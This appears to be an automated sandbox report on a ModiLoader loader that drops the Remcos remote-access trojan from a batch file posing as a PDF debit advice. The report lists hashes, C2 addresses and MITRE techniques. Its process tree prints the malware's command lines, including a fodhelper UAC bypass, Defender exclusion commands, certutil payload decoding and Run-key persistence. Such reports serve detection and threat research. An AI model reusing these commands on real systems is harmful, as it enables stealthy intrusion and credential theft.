modiloader | d1a3e9d965809db746d3dbe909753f38e2073737347cc8d5714c78969b352d06

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
26/03/2024, 10:33

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General

Target
DEBIT_ADVICE_000610PAY001522024.PDF.bat
Size 3.1MB
Sample240326-mlsl8agb75
SHA256 0a2ae63e384bb787bfaf113777640ad36ce8aabc235fd071de1cc746f32c1701
MD5 37a23ddeb4d10dc479c3cda8bcad8fa6
SHA1 8cf2add3ffd2840c508bd8b06f9a29d9a4fb7bf5
SHA512 aae48f4509124f6e041e96a32da0071727244d909b84b5189fd153a74f07a5dc208f4e46b98166d0aa9b25c19277796c8c01f4faaec793c95c8c03b83ef05bba
SSDEEP 24576:2wyJPcV/Hrrz6jT6vaQrAAAy4QE1FpVJQQul6kE82zg38H6HKpLJrvvfzrEZnfQL:9yJPcVHQNQrAAHEPJQT7Z38dEog3xfO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

modiloader remcos remotehost collection persistence rat trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

127.0.0.1:45671
127.0.0.1:55677
192.3.101.8:55677
192.3.101.8:45671

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-2P1XPK
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

ModiLoader Second Stage 1 IoCs

resource	yara_rule
behavioral2/memory/4912-56-0x0000000003E20000-0x0000000004E20000-memory.dmp	modiloader_stage2

NirSoft MailPassView 3 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/4488-133-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView
behavioral2/memory/4488-132-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView
behavioral2/memory/4488-135-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 2 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/3024-127-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView
behavioral2/memory/3024-139-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 7 IoCs

resource	yara_rule
behavioral2/memory/3024-127-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/4488-133-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/4488-132-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/3200-136-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/4488-135-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/3200-137-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/3024-139-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	xkn.exe

Executes dropped EXE 17 IoCs

pid	Process
1764	alpha.exe
4940	alpha.exe
3672	alpha.exe
3340	xkn.exe
4260	alpha.exe
2208	alpha.exe
5020	kn.exe
2104	alpha.exe
3916	kn.exe
4912	Lewxa.com
4624	alpha.exe
3752	alpha.exe
4000	alpha.exe
1676	alpha.exe
4556	alpha.exe
4132	alpha.exe
4488	3100739.exe

Loads dropped DLL 1 IoCs

pid	Process
4488	3100739.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	colorcpl.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Koomxsve = "C:\\Users\\Public\\Koomxsve.url"	Lewxa.com

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 3592 set thread context of 3024	3592	colorcpl.exe	145
PID 3592 set thread context of 4488	3592	colorcpl.exe	148
PID 3592 set thread context of 3200	3592	colorcpl.exe	149

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4796	3592	WerFault.exe	142

Kills process with taskkill 2 IoCs

evasion

pid	Process
2760	taskkill.exe
1768	taskkill.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000_Classes\ms-settings\shell\open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\\Users "	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000_Classes\ms-settings\shell\open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000_Classes\ms-settings\shell	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1252	reg.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	39	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3340	xkn.exe
3340	xkn.exe
5104	powershell.exe
5104	powershell.exe
5104	powershell.exe
3024	colorcpl.exe
3024	colorcpl.exe
3200	colorcpl.exe
3200	colorcpl.exe
3024	colorcpl.exe
3024	colorcpl.exe

Suspicious behavior: MapViewOfSection 5 IoCs

pid	Process
3592	colorcpl.exe
3592	colorcpl.exe
3592	colorcpl.exe
3592	colorcpl.exe
3592	colorcpl.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3340	xkn.exe
Token: SeDebugPrivilege	2760	taskkill.exe
Token: SeDebugPrivilege	1768	taskkill.exe
Token: SeDebugPrivilege	5104	powershell.exe
Token: SeDebugPrivilege	3200	colorcpl.exe
Token: SeManageVolumePrivilege	1344	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3592	colorcpl.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2060 wrote to memory of 2220	2060	cmd.exe	89
PID 2060 wrote to memory of 2220	2060	cmd.exe	89
PID 2220 wrote to memory of 4500	2220	cmd.exe	90
PID 2220 wrote to memory of 4500	2220	cmd.exe	90
PID 2060 wrote to memory of 1764	2060	cmd.exe	91
PID 2060 wrote to memory of 1764	2060	cmd.exe	91
PID 1764 wrote to memory of 1760	1764	alpha.exe	92
PID 1764 wrote to memory of 1760	1764	alpha.exe	92
PID 2060 wrote to memory of 4940	2060	cmd.exe	93
PID 2060 wrote to memory of 4940	2060	cmd.exe	93
PID 4940 wrote to memory of 1524	4940	alpha.exe	94
PID 4940 wrote to memory of 1524	4940	alpha.exe	94
PID 2060 wrote to memory of 3672	2060	cmd.exe	95
PID 2060 wrote to memory of 3672	2060	cmd.exe	95
PID 3672 wrote to memory of 3340	3672	alpha.exe	96
PID 3672 wrote to memory of 3340	3672	alpha.exe	96
PID 3340 wrote to memory of 4260	3340	xkn.exe	97
PID 3340 wrote to memory of 4260	3340	xkn.exe	97
PID 4260 wrote to memory of 1252	4260	alpha.exe	98
PID 4260 wrote to memory of 1252	4260	alpha.exe	98
PID 3340 wrote to memory of 3920	3340	xkn.exe	99
PID 3340 wrote to memory of 3920	3340	xkn.exe	99
PID 2060 wrote to memory of 2208	2060	cmd.exe	101
PID 2060 wrote to memory of 2208	2060	cmd.exe	101
PID 2208 wrote to memory of 5020	2208	alpha.exe	102
PID 2208 wrote to memory of 5020	2208	alpha.exe	102
PID 2060 wrote to memory of 2104	2060	cmd.exe	105
PID 2060 wrote to memory of 2104	2060	cmd.exe	105
PID 2104 wrote to memory of 3916	2104	alpha.exe	106
PID 2104 wrote to memory of 3916	2104	alpha.exe	106
PID 2060 wrote to memory of 4912	2060	cmd.exe	109
PID 2060 wrote to memory of 4912	2060	cmd.exe	109
PID 2060 wrote to memory of 4912	2060	cmd.exe	109
PID 2060 wrote to memory of 4624	2060	cmd.exe	110
PID 2060 wrote to memory of 4624	2060	cmd.exe	110
PID 2060 wrote to memory of 3752	2060	cmd.exe	112
PID 2060 wrote to memory of 3752	2060	cmd.exe	112
PID 2060 wrote to memory of 4000	2060	cmd.exe	113
PID 2060 wrote to memory of 4000	2060	cmd.exe	113
PID 2060 wrote to memory of 1676	2060	cmd.exe	114
PID 2060 wrote to memory of 1676	2060	cmd.exe	114
PID 2060 wrote to memory of 4556	2060	cmd.exe	115
PID 2060 wrote to memory of 4556	2060	cmd.exe	115
PID 4556 wrote to memory of 2760	4556	alpha.exe	116
PID 4556 wrote to memory of 2760	4556	alpha.exe	116
PID 2060 wrote to memory of 4132	2060	cmd.exe	119
PID 2060 wrote to memory of 4132	2060	cmd.exe	119
PID 4132 wrote to memory of 1768	4132	alpha.exe	120
PID 4132 wrote to memory of 1768	4132	alpha.exe	120
PID 4912 wrote to memory of 2396	4912	Lewxa.com	128
PID 4912 wrote to memory of 2396	4912	Lewxa.com	128
PID 4912 wrote to memory of 2396	4912	Lewxa.com	128
PID 4912 wrote to memory of 2760	4912	Lewxa.com	129
PID 4912 wrote to memory of 2760	4912	Lewxa.com	129
PID 4912 wrote to memory of 2760	4912	Lewxa.com	129
PID 4912 wrote to memory of 2968	4912	Lewxa.com	132
PID 4912 wrote to memory of 2968	4912	Lewxa.com	132
PID 4912 wrote to memory of 2968	4912	Lewxa.com	132
PID 2968 wrote to memory of 4488	2968	cmd.exe	134
PID 2968 wrote to memory of 4488	2968	cmd.exe	134
PID 4488 wrote to memory of 556	4488	3100739.exe	135
PID 4488 wrote to memory of 556	4488	3100739.exe	135
PID 556 wrote to memory of 64	556	cmd.exe	137
PID 556 wrote to memory of 64	556	cmd.exe	137

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2060
- C:\Windows\system32\cmd.exe
  cmd /c extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2220
- - C:\Windows\system32\extrac32.exe
    extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
    3⤵
    PID:4500
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1764
- - C:\Windows\system32\extrac32.exe
    extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
    3⤵
    PID:1760
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4940
- - C:\Windows\system32\extrac32.exe
    extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
    3⤵
    PID:1524
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3672
- - C:\Users\Public\xkn.exe
    C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3340
  - - C:\Users\Public\alpha.exe
      "C:\Users\Public\alpha.exe" /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4260
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
        5⤵
        Modifies registry class
        Modifies registry key
        
        PID:1252
  - - C:\Windows\system32\fodhelper.exe
      "C:\Windows\system32\fodhelper.exe"
      4⤵
      PID:3920
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2208
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9
    3⤵
    - Executes dropped EXE
    PID:5020
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
    3⤵
    - Executes dropped EXE
    PID:3916
- C:\Users\Public\Libraries\Lewxa.com
  C:\\Users\\Public\\Libraries\\Lewxa.com
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:4912
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c mkdir "\\?\C:\Windows "
    3⤵
    PID:2396
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c mkdir "\\?\C:\Windows \System32"
    3⤵
    PID:2760
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "C:\Windows \System32\3100739.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2968
  - - C:\Windows \System32\3100739.exe
      "C:\Windows \System32\3100739.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:4488
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:556
      - C:\Windows\system32\cmd.exe
        
        cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
        6⤵
        
        PID:64
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5104
- - C:\Windows\SysWOW64\extrac32.exe
    C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Lewxa.com C:\\Users\\Public\\Libraries\\Koomxsve.PIF
    3⤵
    PID:1124
- - C:\Windows\SysWOW64\colorcpl.exe
    C:\Windows\System32\colorcpl.exe
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of SetWindowsHookEx
    PID:3592
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\eaetbcaxcxlimqkezczvenqrmp"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3024
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\pvjecmlqqfdmxwgiinlxpalinwbro"
      4⤵
      PID:696
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\pvjecmlqqfdmxwgiinlxpalinwbro"
      4⤵
      PID:1600
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\pvjecmlqqfdmxwgiinlxpalinwbro"
      4⤵
      Accesses Microsoft Outlook accounts
      PID:4488
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\rpwwdfdsmnvzzlumaxyysfyrwktrhjzq"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3200
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3592 -s 1516
      4⤵
      Program crash
      PID:4796
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:4624
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa.txt" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:3752
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:4000
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:1676
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4556
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SystemSettings.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2760
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4132
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SystemSettingsAdminFlows.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1768

C:\Windows\system32\SystemSettingsAdminFlows.exe
"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
1⤵
PID:4976

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3592 -ip 3592
1⤵
PID:4452

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
1⤵
PID:4980

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k UnistackSvcGroup
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 144B
SHA256 dac63faf94e8b1fcf71a5dc63f203d19b0733fcd922793f72e766624ff3d379e
MD5 e2c593e5a7f9a095a6e8e26a260ae6a6
SHA1 ec6385139a8b2aeda1144e9d461bbeeafd338ba9
SHA512 7bd7798ff15ad0a5caaae54199f35d487de80fac6854b5f62b4d14077a84e35f41a9341cd5cce3404f3f64d2838f637104205af8dc4b89db24349bb4258690f8
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
MD5 5caad758326454b5788ec35315c4c304
SHA1 3aef8dba8042662a7fcf97e51047dc636b4d4724
SHA512 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693
MD5 SHA1 SHA512

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__PSScriptPolicyTest_efu0kejr.xic.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_efu0kejr.xic.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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eaetbcaxcxlimqkezczvenqrmp

Path C:\Users\Admin\AppData\Local\Temp\eaetbcaxcxlimqkezczvenqrmp
Size 4KB
SHA256 0672c1350202839c50058ce7097f6eac6d3788bac87b932f64a6c5f75674eb04
MD5 1e851ac5c5f7c5086508dddc69063a46
SHA1 ec67b2be1b676dc07b54f92b64cabaa8b5c53656
SHA512 e532fb9a86e913de9272d2314bbbf8688e60932e5cb67b8d780a5904545df5ee3a2669b1875c687fe2aa7281198e00b74f6de0d8e3fd9bfac10b0b28b18f5019
SSDEEP 48:wvvv0mxfvvcmxfdvv0mxBvv0mxakvv0m7:mvTxvLp1vTPvTbvT7
MD5 SHA1 SHA512 SSDEEP

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Lewxa.txt

Path C:\Users\Public\Lewxa.txt
Size 2.2MB
SHA256 5184b2c7c5ffbaf8b8c9bac27545f09447b61d619a2f2bf472570b9ebec5747c
MD5 8f6b3132069a25963b93083743e160dd
SHA1 364112fc579f11dfa82a3c1078ec19706cd6dfda
SHA512 af3051aeed9de9931f12d48cd22fef3273f9350a1cdd3c476fa02f7550288f7a96112f311d4dadcf61f0a67c93c22ce2999fb6253c8841b9d399e710b8518938
SSDEEP 24576:h9wn326I8Ktf1b9weNVJHoRK0jPRyGgCwEtg/1Zp/9jqWyUmWW7YsJ7lt15eQwr:F
MD5 SHA1 SHA512 SSDEEP

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Lewxa.com

Path C:\Users\Public\Libraries\Lewxa.com
Size 1.1MB
SHA256 b27a5e00f3339d8020da21dabc1c53e001bf5d4a809c47cee65f3e9383568411
MD5 04aba5a372c8dac9affd6f1578b478b3
SHA1 1e0d764539cbf2e86e0d59b83f407b429f61fdb7
SHA512 4d69053814b86bd13b59ca8b147a5331d0eace3ed2aaa936dc35086fdba8ef44d757bdc788eec61338f443578f98b8859f8dd7c7eeef486cab9ecb8eb5be15a3
SSDEEP 24576:llAinAzO5SRz+HJ0dkGdiNhp/BRaR6URr0GDp6eH:llAc5StANPpRaR6URrNp
MD5 SHA1 SHA512 SSDEEP

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alpha.exe

Path C:\Users\Public\alpha.exe
Size 256KB
SHA256 ab0c5f236a0c2a8af48b70fb8acb4487ca9a0a51047d135277ba3d9047c831c8
MD5 32fd102e1fa7be50a97bd75d45484176
SHA1 bbfbb1997c4e4c605fb9f17809ac81b23b635e3c
SHA512 ff3e5addf94a2c18745ce57c0b641d40043d1f92d602d96b56f9bf21815a3c52c3663379377134354a42bc75982de437e58afef6ffc63629893a1a6be7f69dec
SSDEEP 6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSS:H1BhkWvSqY4zvmjOwJITS
MD5 SHA1 SHA512 SSDEEP

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alpha.exe

Path C:\Users\Public\alpha.exe
Size 283KB
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
SSDEEP 6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
MD5 SHA1 SHA512 SSDEEP

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kn.exe

Path C:\Users\Public\kn.exe
Size 1.6MB
SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
MD5 bd8d9943a9b1def98eb83e0fa48796c2
SHA1 70e89852f023ab7cde0173eda1208dbb580f1e4f
SHA512 95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b
SSDEEP 24576:aCaND6ankkViMCsJf0JhY+3hvwUJDP+t3HvDGKK1V3FuNM2GRUY/ejsSvVo2:aCiDLnPipbJ5vwES3CKGVVuNM20UXa2
MD5 SHA1 SHA512 SSDEEP

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xkn.exe

Path C:\Users\Public\xkn.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

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3100739.exe

Path C:\Windows \System32\3100739.exe
Size 128KB
SHA256 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
MD5 231ce1e1d7d98b44371ffff407d68b59
SHA1 25510d0f6353dbf0c9f72fc880de7585e34b28ff
SHA512 520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612
SSDEEP 3072:zar2xXibKcf5K67+k02XbFbosspwUUgcR:Nibl7+k02XZb9UA
MD5 SHA1 SHA512 SSDEEP

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netutils.dll

Path C:\Windows \System32\netutils.dll
Size 112KB
SHA256 2019dcd18ba7d5554a4a9da882740aa883941670af3de9396960081a0f8aa098
MD5 fa7aa88417d0c48807144a1a48fe3fbc
SHA1 6f5ec990b12d4a6075050a94e0d68d03781fa46d
SHA512 99b2eb6f8e7d00a3803cba229149e5e0cb67a3deb607782c55fbacd25d9c074cce83759de15490eff939d5ad98f26cdbd44395cc79ffe22753e16c3d9e3b5fff
SSDEEP 1536:sLW5ID3z1yOjXtZqmsGyhvI5jduvd9a8yCl7MbiRVRpz5u:sLWi/LZq3hvUuvd9a8BRpz5u
MD5 SHA1 SHA512 SSDEEP

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KDECO.bat

Path C:\windows \system32\KDECO.bat
Size 11KB
SHA256 a3a80983cb33159f0455fa0135789402558baa1460db94d0071318512b8cb5f9
MD5 c545650595b479c81ad6b9d8882aae39
SHA1 7a98aa2e6eee23b3c1bba876955d525bc618b3f0
SHA512 85ac596a7da9072a28c4178e4fdedc98f1b49c8e3fe5612cfe464833297b13f65d2dc59b52d7fc9970cff8f98d954111229aec0ed9dded454e03b0cf4ebb6ff3
SSDEEP 192:UPNoaJSjPMK2jxkXDmZevmhmpd/mGq5LnRWF7NpL29QeQoGAhLNTbz4UgHCHDQSq:KNjsjUKwxCiZevmgpd/jcnRu7imoG8Le
MD5 SHA1 SHA512 SSDEEP

